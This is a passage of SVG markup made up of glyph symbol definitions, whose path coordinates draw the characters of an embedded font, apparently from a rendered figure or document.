-0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 2.453125 -2.15625 C 2.453125 -1.726562 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.898438 -0.96875 3.109375 -0.96875 C 3.359375 -0.96875 3.648438 -1.035156 3.984375 -1.171875 L 4.125 -0.125 C 3.96875 -0.03125 3.742188 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.507812 1.15625 -1.007812 1.15625 -1.71875 L 1.15625 -12.640625 L 2.453125 -12.640625 Z M 2.453125 -2.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 0.578125 -1.171875 L 3.9375 -7.078125 L 4.5625 -7.859375 L 0.578125 -7.859375 L 0.578125 -9.03125 L 5.859375 -9.03125 L 5.859375 -7.859375 L 2.46875 -1.890625 L 1.859375 -1.171875 L 5.859375 -1.171875 L 5.859375 0 L 0.578125 0 Z M 0.578125 -1.171875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.484375 C 5.6875 -6.328125 5.585938 -6.96875 5.390625 -7.40625 C 5.191406 -7.851562 4.796875 -8.078125 4.203125 -8.078125 C 3.785156 -8.078125 3.40625 -7.925781 3.0625 -7.625 C 2.71875 -7.320312 2.484375 -6.941406 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -12.640625 L 2.359375 -12.640625 L 2.359375 -8.1875 L 2.421875 -8.1875 C 2.660156 -8.5 2.957031 -8.753906 3.3125 -8.953125 C 3.664062 -9.148438 4.109375 -9.25 4.640625 -9.25 C 5.035156 -9.25 5.378906 -9.191406 5.671875 -9.078125 C 5.972656 -8.972656 6.21875 -8.785156 6.40625 -8.515625 C 6.601562 -8.253906 6.75 -7.90625 6.84375 -7.46875 C 6.9375 -7.03125 6.984375 -6.484375 6.984375 -5.828125 L 6.984375 0 Z M 5.6875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 1.15625 -12.515625 C 1.550781 -12.609375 1.984375 -12.675781 2.453125 -12.71875 C 2.929688 -12.757812 3.375 -12.78125 3.78125 -12.78125 C 4.25 -12.78125 4.691406 -12.722656 5.109375 -12.609375 C 5.535156 -12.492188 5.90625 -12.300781 6.21875 -12.03125 C 6.53125 -11.757812 6.78125 -11.40625 6.96875 -10.96875 C 7.15625 -10.53125 7.25 -9.976562 7.25 -9.3125 C 7.25 -8.320312 7.039062 -7.523438 6.625 -6.921875 C 6.207031 -6.316406 5.65625 -5.910156 4.96875 -5.703125 L 5.65625 -5.046875 L 8.140625 0 L 6.578125 0 L 3.859375 -5.515625 L 2.515625 -5.78125 L 2.515625 0 L 1.15625 0 Z M 2.515625 -6.6875 L 3.59375 -6.6875 C 4.28125 -6.6875 4.820312 -6.894531 5.21875 -7.3125 C 5.613281 -7.738281 5.8125 -8.382812 5.8125 -9.25 C 5.8125 -9.90625 5.644531 -10.453125 5.3125 -10.890625 C 4.988281 -11.328125 4.5 -11.546875 3.84375 -11.546875 C 3.601562 -11.546875 3.351562 -11.535156 3.09375 -11.515625 C 2.832031 -11.492188 2.640625 -11.46875 2.515625 -11.4375 Z M 2.515625 -6.6875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 6.75 3.609375 L 5.453125 3.609375 L 5.453125 -0.734375 L 5.375 -0.734375 C 5.1875 -0.429688 4.941406 -0.195312 4.640625 -0.03125 C 4.347656 0.132812 3.96875 0.21875 3.5 0.21875 C 2.550781 0.21875 1.84375 -0.160156 1.375 -0.921875 C 0.90625 -1.691406 0.671875 -2.878906 0.671875 -4.484375 C 0.671875 -6.035156 0.976562 -7.207031 1.59375 -8 C 2.207031 -8.789062 3.097656 -9.1875 4.265625 -9.1875 C 4.765625 -9.1875 5.242188 -9.125 5.703125 -9 C 6.160156 -8.882812 6.507812 -8.765625 6.75 -8.640625 Z M 5.453125 -7.71875 C 5.117188 -7.914062 4.644531 -8.015625 4.03125 -8.015625 C 3.40625 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.6875 2.015625 -4.5 C 2.015625 -3.988281 2.046875 -3.515625 2.109375 -3.078125 C 2.171875 -2.648438 2.269531 -2.273438 2.40625 -1.953125 C 2.550781 -1.640625 2.734375 -1.394531 2.953125 -1.21875 C 3.171875 -1.039062 3.445312 -0.953125 3.78125 -0.953125 C 4.238281 -0.953125 4.597656 -1.082031 4.859375 -1.34375 C 5.117188 -1.613281 5.316406 -2.003906 5.453125 -2.515625 Z M 5.453125 -7.71875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-16"> +<path style="stroke:none;" d="M 2.234375 -9.03125 L 2.234375 -3.5 C 2.234375 -2.582031 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.046875 -0.953125 3.546875 -0.953125 C 3.796875 -0.953125 4.019531 -1.003906 4.21875 -1.109375 C 4.414062 -1.210938 4.59375 -1.347656 4.75 -1.515625 C 4.90625 -1.679688 5.039062 -1.875 5.15625 -2.09375 C 5.28125 -2.3125 5.378906 -2.535156 5.453125 -2.765625 L 5.453125 -9.03125 L 6.75 -9.03125 L 6.75 -2.5625 C 6.75 -2.132812 6.765625 -1.6875 6.796875 -1.21875 C 6.828125 -0.757812 6.875 -0.351562 6.9375 0 L 6.015625 0 L 5.6875 -1.265625 L 5.640625 -1.265625 C 5.429688 -0.867188 5.132812 -0.519531 4.75 -0.21875 C 4.363281 0.0703125 3.882812 0.21875 3.3125 0.21875 C 2.925781 0.21875 2.585938 0.164062 2.296875 0.0625 C 2.003906 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.347656 -0.703125 1.195312 -1.046875 1.09375 -1.484375 C 0.988281 -1.929688 0.9375 -2.492188 0.9375 -3.171875 L 0.9375 -9.03125 Z M 2.234375 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-17"> +<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-18"> +<path style="stroke:none;" d="M 3.3125 3.96875 C 2.851562 3.394531 2.46875 2.757812 2.15625 2.0625 C 1.851562 1.375 1.601562 0.664062 1.40625 -0.0625 C 1.21875 -0.789062 1.078125 -1.523438 0.984375 -2.265625 C 0.898438 -3.003906 0.859375 -3.710938 0.859375 -4.390625 C 0.859375 -5.046875 0.898438 -5.742188 0.984375 -6.484375 C 1.078125 -7.222656 1.21875 -7.960938 1.40625 -8.703125 C 1.601562 -9.441406 1.859375 -10.164062 2.171875 -10.875 C 2.492188 -11.582031 2.882812 -12.242188 3.34375 -12.859375 L 4.15625 -12.375 C 3.769531 -11.757812 3.445312 -11.113281 3.1875 -10.4375 C 2.9375 -9.757812 2.734375 -9.070312 2.578125 -8.375 C 2.429688 -7.6875 2.328125 -7.003906 2.265625 -6.328125 C 2.203125 -5.648438 2.171875 -5.003906 2.171875 -4.390625 C 2.171875 -3.804688 2.207031 -3.164062 2.28125 -2.46875 C 2.351562 -1.78125 2.46875 -1.085938 2.625 -0.390625 C 2.789062 0.304688 3 0.984375 3.25 1.640625 C 3.5 2.304688 3.800781 2.90625 4.15625 3.4375 Z M 3.3125 3.96875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-19"> +<path style="stroke:none;" d="M 3.546875 0.21875 C 3.015625 0.195312 2.546875 0.140625 2.140625 0.046875 C 1.734375 -0.0351562 1.398438 -0.160156 1.140625 -0.328125 L 1.546875 -1.546875 C 1.742188 -1.421875 2.007812 -1.296875 2.34375 -1.171875 C 2.6875 -1.054688 3.085938 -0.984375 3.546875 -0.953125 L 3.546875 -6.09375 C 3.242188 -6.28125 2.945312 -6.484375 2.65625 -6.703125 C 2.375 -6.921875 2.125 -7.171875 1.90625 -7.453125 C 1.6875 -7.742188 1.503906 -8.078125 1.359375 -8.453125 C 1.222656 -8.835938 1.15625 -9.289062 1.15625 -9.8125 C 1.15625 -10.601562 1.351562 -11.265625 1.75 -11.796875 C 2.15625 -12.335938 2.753906 -12.675781 3.546875 -12.8125 L 3.546875 -14.453125 L 4.640625 -14.453125 L 4.640625 -12.84375 C 5.109375 -12.820312 5.5 -12.773438 5.8125 -12.703125 C 6.125 -12.640625 6.421875 -12.539062 6.703125 -12.40625 L 6.28125 -11.234375 C 6.082031 -11.335938 5.851562 -11.425781 5.59375 -11.5 C 5.34375 -11.582031 5.023438 -11.640625 4.640625 -11.671875 L 4.640625 -7.015625 C 4.941406 -6.804688 5.242188 -6.585938 5.546875 -6.359375 C 5.847656 -6.128906 6.113281 -5.863281 6.34375 -5.5625 C 6.582031 -5.269531 6.773438 -4.929688 6.921875 -4.546875 C 7.066406 -4.171875 7.140625 -3.734375 7.140625 -3.234375 C 7.140625 -2.367188 6.925781 -1.632812 6.5 -1.03125 C 6.070312 -0.425781 5.453125 -0.0390625 4.640625 0.125 L 4.640625 1.8125 L 3.546875 1.8125 Z M 4.359375 -1.03125 C 4.785156 -1.125 5.128906 -1.347656 5.390625 -1.703125 C 5.648438 -2.054688 5.78125 -2.535156 5.78125 -3.140625 C 5.78125 -3.722656 5.640625 -4.191406 5.359375 -4.546875 C 5.085938 -4.910156 4.753906 -5.238281 4.359375 -5.53125 Z M 3.828125 -11.625 C 3.335938 -11.53125 